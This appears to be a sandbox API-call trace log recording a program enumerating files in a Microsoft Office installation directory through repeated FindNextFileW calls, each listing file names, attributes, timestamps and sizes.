	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="GKPOWE~1.DLL")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="GRAPHE~1.MAN")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="IECONT~1.EXE")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1
	[0052.049] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x2d168, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMPMAIL.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38388, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWDD.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5912120, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMWIZ.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x53979a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x275770, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.EXE", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOM", cAlternateFileName="INFOPA~1")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="INSTAL~1.XSS")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="INSTAL~2.XSS")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5dfae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xfafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGELEMS.DLL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x82482540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb590, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGMODEL.MDL", cAlternateFileName="")) returned 1
	[0052.050] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c850300, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5e93400, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c850300, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x77da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGVIEW.DLL", cAlternateFileName="")) returned 1
	[0052.054] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6960cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOOKUP.DAT", cAlternateFileName="")) returned 1
